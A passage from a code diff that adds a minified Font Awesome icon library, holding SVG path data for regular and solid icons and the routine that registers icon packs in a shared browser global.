8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm-96 92c-30.9 0-56 28.7-56 64s25.1 64 56 64 56-28.7 56-64-25.1-64-56-64z" ], + "sad-tear": [ 496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm8-152c-13.2 0-24 10.8-24 24s10.8 24 24 24c23.8 0 46.3 10.5 61.6 28.8 8.1 9.8 23.2 11.9 33.8 3.1 10.2-8.5 11.6-23.6 3.1-33.8C330 320.8 294.1 304 256 304zm-88-64c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-165.6 98.8C151 290.1 126 325.4 126 342.9c0 22.7 18.8 41.1 42 41.1s42-18.4 42-41.1c0-17.5-25-52.8-36.4-68.1-2.8-3.7-8.4-3.7-11.2 0z" ], + save: [ 448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM272 80v80H144V80h128zm122 352H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h42v104c0 13.255 10.745 24 24 24h176c13.255 0 24-10.745 24-24V83.882l78.243 78.243a6 6 0 0 1 1.757 4.243V426a6 6 0 0 1-6 6zM224 232c-48.523 0-88 39.477-88 88s39.477 88 88 88 88-39.477 88-88-39.477-88-88-88zm0 128c-22.056 0-40-17.944-40-40s17.944-40 40-40 40 17.944 40 40-17.944 40-40 40z" ], + "share-square": [ 576, 512, [], "f14d", "M561.938 158.06L417.94 14.092C387.926-15.922 336 5.097 336 48.032v57.198c-42.45 1.88-84.03 6.55-120.76 17.99-35.17 10.95-63.07 27.58-82.91 49.42C108.22 199.2 96 232.6 96 271.94c0 61.697 33.178 112.455 84.87 144.76 37.546 23.508 85.248-12.651 71.02-55.74-15.515-47.119-17.156-70.923 84.11-78.76V336c0 42.993 51.968 63.913 81.94 33.94l143.998-144c18.75-18.74 18.75-49.14 0-67.88zM384 336V232.16C255.309 234.082 166.492 255.35 206.31 376 176.79 357.55 144 324.08 144 271.94c0-109.334 129.14-118.947 240-119.85V48l144 144-144 144zm24.74 84.493a82.658 82.658 0 0 0 20.974-9.303c7.976-4.952 18.286.826 18.286 10.214V464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h132c6.627 0 12 5.373 12 12v4.486c0 4.917-2.987 9.369-7.569 11.152-13.702 5.331-26.396 11.537-38.05 18.585a12.138 12.138 0 0 1-6.28 1.777H54a6 6 0 0 0-6 6v340a6 6 0 0 0 6 6h340a6 6 0 0 0 6-6v-25.966c0-5.37 3.579-10.059 8.74-11.541z" ], + smile: [ 496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm4 72.6c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.1-8.4-25.3-7.1-33.8 3.1z" ], + "smile-beam": [ 496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm84-143.4c-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.6-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8-10.2-8.4-25.3-7.1-33.8 3.1zM136.5 211c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.4 1.1 7.4-.5 9.3-3.7l9.5-17zM328 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4z" ], + "smile-wink": [ 496, 512, [], "f4da", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm117.8-146.4c-10.2-8.5-25.3-7.1-33.8 3.1-20.8 25-51.5 39.4-84 39.4s-63.2-14.3-84-39.4c-8.5-10.2-23.7-11.5-33.8-3.1-10.2 8.5-11.5 23.6-3.1 33.8 30 36 74.1 56.6 120.9 56.6s90.9-20.6 120.9-56.6c8.5-10.2 7.1-25.3-3.1-33.8zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-60c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1z" ], + snowflake: [ 448, 512, [], "f2dc", "M440.1 355.2l-39.2-23 34.1-9.3c8.4-2.3 13.4-11.1 11.1-19.6l-4.1-15.5c-2.2-8.5-10.9-13.6-19.3-11.3L343 298.2 271.2 256l71.9-42.2 79.7 21.7c8.4 2.3 17-2.8 19.3-11.3l4.1-15.5c2.2-8.5-2.7-17.3-11.1-19.6l-34.1-9.3 39.2-23c7.5-4.4 10.1-14.2 5.8-21.9l-7.9-13.9c-4.3-7.7-14-10.3-21.5-5.9l-39.2 23 9.1-34.7c2.2-8.5-2.7-17.3-11.1-19.6l-15.2-4.1c-8.4-2.3-17 2.8-19.3 11.3l-21.3 81-71.9 42.2v-84.5L306 70.4c6.1-6.2 6.1-16.4 0-22.6l-11.1-11.3c-6.1-6.2-16.1-6.2-22.2 0l-24.9 25.4V16c0-8.8-7-16-15.7-16h-15.7c-8.7 0-15.7 7.2-15.7 16v46.1l-24.9-25.4c-6.1-6.2-16.1-6.2-22.2 0L142.1 48c-6.1 6.2-6.1 16.4 0 22.6l58.3 59.3v84.5l-71.9-42.2-21.3-81c-2.2-8.5-10.9-13.6-19.3-11.3L72.7 84c-8.4 2.3-13.4 11.1-11.1 19.6l9.1 34.7-39.2-23c-7.5-4.4-17.1-1.8-21.5 5.9l-7.9 13.9c-4.3 7.7-1.8 17.4 5.8 21.9l39.2 23-34.1 9.1c-8.4 2.3-13.4 11.1-11.1 19.6L6 224.2c2.2 8.5 10.9 13.6 19.3 11.3l79.7-21.7 71.9 42.2-71.9 42.2-79.7-21.7c-8.4-2.3-17 2.8-19.3 11.3l-4.1 15.5c-2.2 8.5 2.7 17.3 11.1 19.6l34.1 9.3-39.2 23c-7.5 4.4-10.1 14.2-5.8 21.9L10 391c4.3 7.7 14 10.3 21.5 5.9l39.2-23-9.1 34.7c-2.2 8.5 2.7 17.3 11.1 19.6l15.2 4.1c8.4 2.3 17-2.8 19.3-11.3l21.3-81 71.9-42.2v84.5l-58.3 59.3c-6.1 6.2-6.1 16.4 0 22.6l11.1 11.3c6.1 6.2 16.1 6.2 22.2 0l24.9-25.4V496c0 8.8 7 16 15.7 16h15.7c8.7 0 15.7-7.2 15.7-16v-46.1l24.9 25.4c6.1 6.2 16.1 6.2 22.2 0l11.1-11.3c6.1-6.2 6.1-16.4 0-22.6l-58.3-59.3v-84.5l71.9 42.2 21.3 81c2.2 8.5 10.9 13.6 19.3 11.3L375 428c8.4-2.3 13.4-11.1 11.1-19.6l-9.1-34.7 39.2 23c7.5 4.4 17.1 1.8 21.5-5.9l7.9-13.9c4.6-7.5 2.1-17.3-5.5-21.7z" ], + square: [ 448, 512, [], "f0c8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h340c3.3 0 6 2.7 6 6v340c0 3.3-2.7 6-6 6z" ], + star: [ 576, 512, [], "f005", "M528.1 171.5L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6zM388.6 312.3l23.7 138.4L288 385.4l-124.3 65.3 23.7-138.4-100.6-98 139-20.2 62.2-126 62.2 126 139 20.2-100.6 98z" ], + "star-half": [ 576, 512, [], "f089", "M288 385.3l-124.3 65.4 23.7-138.4-100.6-98 139-20.2 62.2-126V0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6v-54.3z" ], + "sticky-note": [ 448, 512, [], "f249", "M448 348.106V80c0-26.51-21.49-48-48-48H48C21.49 32 0 53.49 0 80v351.988c0 26.51 21.49 48 48 48h268.118a48 48 0 0 0 33.941-14.059l83.882-83.882A48 48 0 0 0 448 348.106zm-128 80v-76.118h76.118L320 428.106zM400 80v223.988H296c-13.255 0-24 10.745-24 24v104H48V80h352z" ], + "stop-circle": [ 512, 512, [], "f28d", "M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm296-80v160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16z" ], + sun: [ 512, 512, [], "f185", "M494.2 221.9l-59.8-40.5 13.7-71c2.6-13.2-1.6-26.8-11.1-36.4-9.6-9.5-23.2-13.7-36.2-11.1l-70.9 13.7-40.4-59.9c-15.1-22.3-51.9-22.3-67 0l-40.4 59.9-70.8-13.7C98 60.4 84.5 64.5 75 74.1c-9.5 9.6-13.7 23.1-11.1 36.3l13.7 71-59.8 40.5C6.6 229.5 0 242 0 255.5s6.7 26 17.8 33.5l59.8 40.5-13.7 71c-2.6 13.2 1.6 26.8 11.1 36.3 9.5 9.5 22.9 13.7 36.3 11.1l70.8-13.7 40.4 59.9C230 505.3 242.6 512 256 512s26-6.7 33.5-17.8l40.4-59.9 70.9 13.7c13.4 2.7 26.8-1.6 36.3-11.1 9.5-9.5 13.6-23.1 11.1-36.3l-13.7-71 59.8-40.5c11.1-7.5 17.8-20.1 17.8-33.5-.1-13.6-6.7-26.1-17.9-33.7zm-112.9 85.6l17.6 91.2-91-17.6L256 458l-51.9-77-90.9 17.6 17.6-91.2-76.8-52 76.8-52-17.6-91.2 91 17.6L256 53l51.9 76.9 91-17.6-17.6 91.1 76.8 52-76.8 52.1zM256 152c-57.3 0-104 46.7-104 104s46.7 104 104 104 104-46.7 104-104-46.7-104-104-104zm0 160c-30.9 0-56-25.1-56-56s25.1-56 56-56 56 25.1 56 56-25.1 56-56 56z" ], + surprise: [ 496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-176c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm-48-72c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "thumbs-down": [ 512, 512, [], "f165", "M466.27 225.31c4.674-22.647.864-44.538-8.99-62.99 2.958-23.868-4.021-48.565-17.34-66.99C438.986 39.423 404.117 0 327 0c-7 0-15 .01-22.22.01C201.195.01 168.997 40 128 40h-10.845c-5.64-4.975-13.042-8-21.155-8H32C14.327 32 0 46.327 0 64v240c0 17.673 14.327 32 32 32h64c11.842 0 22.175-6.438 27.708-16h7.052c19.146 16.953 46.013 60.653 68.76 83.4 13.667 13.667 10.153 108.6 71.76 108.6 57.58 0 95.27-31.936 95.27-104.73 0-18.41-3.93-33.73-8.85-46.54h36.48c48.602 0 85.82-41.565 85.82-85.58 0-19.15-4.96-34.99-13.73-49.84zM64 296c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm330.18 16.73H290.19c0 37.82 28.36 55.37 28.36 94.54 0 23.75 0 56.73-47.27 56.73-18.91-18.91-9.46-66.18-37.82-94.54C206.9 342.89 167.28 272 138.92 272H128V85.83c53.611 0 100.001-37.82 171.64-37.82h37.82c35.512 0 60.82 17.12 53.12 65.9 15.2 8.16 26.5 36.44 13.94 57.57 21.581 20.384 18.699 51.065 5.21 65.62 9.45 0 22.36 18.91 22.27 37.81-.09 18.91-16.71 37.82-37.82 37.82z" ], + "thumbs-up": [ 512, 512, [], "f164", "M466.27 286.69C475.04 271.84 480 256 480 236.85c0-44.015-37.218-85.58-85.82-85.58H357.7c4.92-12.81 8.85-28.13 8.85-46.54C366.55 31.936 328.86 0 271.28 0c-61.607 0-58.093 94.933-71.76 108.6-22.747 22.747-49.615 66.447-68.76 83.4H32c-17.673 0-32 14.327-32 32v240c0 17.673 14.327 32 32 32h64c14.893 0 27.408-10.174 30.978-23.95 44.509 1.001 75.06 39.94 177.802 39.94 7.22 0 15.22.01 22.22.01 77.117 0 111.986-39.423 112.94-95.33 13.319-18.425 20.299-43.122 17.34-66.99 9.854-18.452 13.664-40.343 8.99-62.99zm-61.75 53.83c12.56 21.13 1.26 49.41-13.94 57.57 7.7 48.78-17.608 65.9-53.12 65.9h-37.82c-71.639 0-118.029-37.82-171.64-37.82V240h10.92c28.36 0 67.98-70.89 94.54-97.46 28.36-28.36 18.91-75.63 37.82-94.54 47.27 0 47.27 32.98 47.27 56.73 0 39.17-28.36 56.72-28.36 94.54h103.99c21.11 0 37.73 18.91 37.82 37.82.09 18.9-12.82 37.81-22.27 37.81 13.489 14.555 16.371 45.236-5.21 65.62zM88 432c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" ], + "times-circle": [ 512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm101.8-262.2L295.6 256l62.2 62.2c4.7 4.7 4.7 12.3 0 17l-22.6 22.6c-4.7 4.7-12.3 4.7-17 0L256 295.6l-62.2 62.2c-4.7 4.7-12.3 4.7-17 0l-22.6-22.6c-4.7-4.7-4.7-12.3 0-17l62.2-62.2-62.2-62.2c-4.7-4.7-4.7-12.3 0-17l22.6-22.6c4.7-4.7 12.3-4.7 17 0l62.2 62.2 62.2-62.2c4.7-4.7 12.3-4.7 17 0l22.6 22.6c4.7 4.7 4.7 12.3 0 17z" ], + tired: [ 496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm129.1-303.8c-3.8-4.4-10.3-5.4-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.8 1.6 15.3-2.5 3.8-4.5 3.9-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zM220 208c0-4.2-2.2-8.1-5.8-10.3l-80-48c-5-3-11.5-1.9-15.3 2.5-3.8 4.5-3.9 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.5 4.1 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3zm28 64c-45.4 0-100.9 38.3-107.8 93.3-1.5 11.8 6.9 21.6 15.5 17.9C178.4 373.5 212 368 248 368s69.6 5.5 92.3 15.2c8.5 3.7 17-6 15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z" ], + "trash-alt": [ 448, 512, [], "f2ed", "M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z" ], + user: [ 448, 512, [], "f007", "M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z" ], + "user-circle": [ 496, 512, [], "f2bd", "M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z" ], + "window-close": [ 512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z" ], + "window-maximize": [ 512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z" ], + "window-minimize": [ 512, 512, [], "f2d1", "M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z" ], + "window-restore": [ 512, 512, [], "f2d2", "M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!e) throw c; + } + }(function() { + M("far", n); + }); +}(), function() { + "use strict"; + var c = {}, l = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (l = document); + } catch (c) {} + var h = (c.navigator || {}).userAgent, a = void 0 === h ? "" : h, z = c, v = l, m = (z.document, + !!v.documentElement && !!v.head && "function" == typeof v.addEventListener && v.createElement, + ~a.indexOf("MSIE") || a.indexOf("Trident/"), "___FONT_AWESOME___"), e = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var s = z || {}; + s[m] || (s[m] = {}), s[m].styles || (s[m].styles = {}), s[m].hooks || (s[m].hooks = {}), + s[m].shims || (s[m].shims = []); + var t = s[m]; + function M(c, a) { + var l = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, h = void 0 !== l && l, z = Object.keys(a).reduce(function(c, l) { + var h = a[l]; + return !!h.icon ? c[h.iconName] = h.icon : c[l] = h, c; + }, {}); + "function" != typeof t.hooks.addPack || h ? t.styles[c] = function(z) { + for (var c = 1; c < arguments.length; c++) { + var v = null != arguments[c] ? arguments[c] : {}, l = Object.keys(v); + "function" == typeof Object.getOwnPropertySymbols && (l = l.concat(Object.getOwnPropertySymbols(v).filter(function(c) { + return Object.getOwnPropertyDescriptor(v, c).enumerable; + }))), l.forEach(function(c) { + var l, h, a; + l = z, a = v[h = c], h in l ? Object.defineProperty(l, h, { + value: a, + enumerable: !0, + configurable: !0, + writable: !0 + }) : l[h] = a; + }); + } + return z; + }({}, t.styles[c] || {}, z) : t.hooks.addPack(c, z), "fas" === c && M("fa", a); + } + var n = { + ad: [ 512, 512, [], "f641", "M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z" ], + "address-book": [ 448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "address-card": [ 576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" ], + adjust: [ 512, 512, [], "f042", "M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z" ], + "air-freshener": [ 512, 512, [], "f5d0", "M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z" ], + "align-center": [ 448, 512, [], "f037", "M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z" ], + "align-justify": [ 448, 512, [], "f039", "M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "align-left": [ 448, 512, [], "f036", "M12.83 